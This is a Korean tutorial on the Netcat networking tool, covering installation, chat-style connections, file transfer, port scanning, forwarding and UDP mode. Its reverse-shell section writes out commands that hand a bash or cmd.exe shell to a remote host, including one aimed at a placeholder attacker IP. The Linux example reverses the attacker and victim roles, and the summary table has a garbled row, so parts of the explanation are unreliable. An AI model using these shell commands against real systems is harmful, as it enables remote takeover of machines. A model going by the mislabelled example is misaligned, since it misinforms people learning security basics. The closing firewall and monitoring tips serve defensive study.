Netcat(NC)은 네트워크 도구로, TCP/UDP 연결을 열고, 데이터를 전송하고, 포트를 검사하는 등 다양한 네트워크 작업을 수행할 수 있습니다.
Netcat은 "네트워크의 스위스 군용 칼"이라고 불릴 정도로 강력하며, 해킹 및 보안 테스트, 서버 간 데이터 전송, 포트 포워딩 등에 사용됩니다.
📌 Netcat 설치 방법
대부분의 Linux 및 macOS에는 기본적으로 Netcat이 포함되어 있습니다. Windows 사용자는 ncat (Nmap 패키지)를 이용할 수 있습니다.
✅ Linux/Mac 설치 (netcat 포함)
sudo apt install netcat # Ubuntu/Debian
sudo yum install nc # CentOS/RHEL
brew install netcat # macOS (Homebrew)
✅ Windows 설치
1. Nmap 공식 웹사이트에서 Ncat을 다운로드
2. 설치 후 cmd 또는 PowerShell에서 실행 가능
🚀 Netcat 기본 사용법
1️⃣ TCP 서버 열기
Netcat을 서버 모드로 실행하여 특정 포트에서 대기할 수 있습니다.
nc -l -p 1234
- -l : 리스닝(서버 모드)
- -p 1234 : 1234 포트에서 대기
💡 클라이언트 연결:
다른 터미널 또는 PC에서 다음 명령어를 실행하면 서버와 연결됩니다.
nc 서버_IP 1234
- 서버_IP : 서버의 IP 주소
연결이 완료되면 서버와 클라이언트 간에 채팅처럼 데이터 전송이 가능합니다.
2️⃣ 파일 전송하기
Netcat을 이용하여 파일을 송수신할 수 있습니다.
✅ 서버(파일 받기)
nc -l -p 1234 > received_file.txt
✅ 클라이언트(파일 보내기)
nc 서버_IP 1234 < myfile.txt
이제 received_file.txt에 myfile.txt의 내용이 저장됩니다.
3️⃣ 포트 스캔하기 (간단한 Nmap 대체)
Netcat을 활용하여 특정 IP에서 열려 있는 포트를 찾을 수 있습니다.
nc -z -v 192.168.1.1 20-1000
- -z : 연결만 시도 (데이터 전송 X)
- -v : 상세 출력
- 192.168.1.1 : 대상 IP
- 20-1000 : 스캔할 포트 범위
✅ 결과 예시
Connection to 192.168.1.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.1 80 port [tcp/http] succeeded!
즉, 대상 서버에서 22(SSH), 80(HTTP) 포트가 열려 있음을 확인 가능.
4️⃣ 포트 포워딩
Netcat을 사용하여 특정 포트에서 들어온 트래픽을 다른 포트로 포워딩할 수 있습니다.
nc -l -p 8080 | nc 192.168.1.2 80
✅ 설명:
- 8080 포트로 들어오는 데이터를 192.168.1.2의 80포트로 전달
- 간단한 프록시 서버 역할 수행
5️⃣ 원격 쉘 실행 (리버스 쉘)
Netcat은 원격 제어(리버스 쉘)에도 사용됩니다.
⚠️ 보안 취약점으로 악용될 수 있으므로 주의!
✅ 서버(공격자)
nc -l -p 1234 -e /bin/bash
✅ 클라이언트(피해자)
nc 공격자_IP 1234
공격자는 피해자의 쉘을 직접 조작할 수 있음.
💡 Windows용 리버스 쉘
nc -e cmd.exe 공격자_IP 1234
6️⃣ UDP 모드 사용
기본적으로 Netcat은 TCP 연결을 사용하지만, -u 옵션을 사용하면 UDP 전송이 가능합니다.
✅ UDP 서버 열기
nc -u -l -p 1234
✅ UDP 클라이언트 실행
nc -u 서버_IP 1234
🔹 Netcat 명령어 정리
명령어설명
| nc -l -p 1234 | TCP 서버 시작 (포트 1234에서 대기) |
| nc 서버_IP 1234 | TCP 클라이언트 실행 |
| nc -l -p 1234 > file.txt | 파일 수신 |
| nc 서버_IP 1234 < file.txt | 파일 전송 |
| nc -z -v 서버_IP 20-1000 | 포트 스캔 |
| `nc -l -p 8080 | nc 서버_IP 80` |
| nc -l -p 1234 -e /bin/bash | 리버스 쉘 (Linux) |
| nc -u -l -p 1234 | UDP 서버 실행 |
🔒 Netcat 보안 주의사항
✅ 사용하지 않는 포트 차단 (특히 1234, 4444 같은 일반적인 리버스 쉘 포트)
✅ 방화벽 설정 강화 (UFW, iptables 사용)
✅ 로그 모니터링 (이상한 Netcat 사용 패턴 감지)
✅ SSH 대체 사용 고려 (보안 강화된 원격 접속 필요 시)
📌 결론
Netcat은 네트워크 진단, 파일 전송, 포트 스캔, 원격 제어까지 가능한 강력한 도구입니다.
하지만, 해킹 공격에도 악용될 수 있으므로 반드시 보안 설정을 강화해야 합니다.
🔹 주요 활용: 포트 테스트, 네트워크 디버깅, 원격 접속
🔹 보안 주의: 방화벽 설정, 로그 모니터링 필수
이제 Netcat을 활용하여 네트워크 문제를 빠르게 해결해보세요! 🚀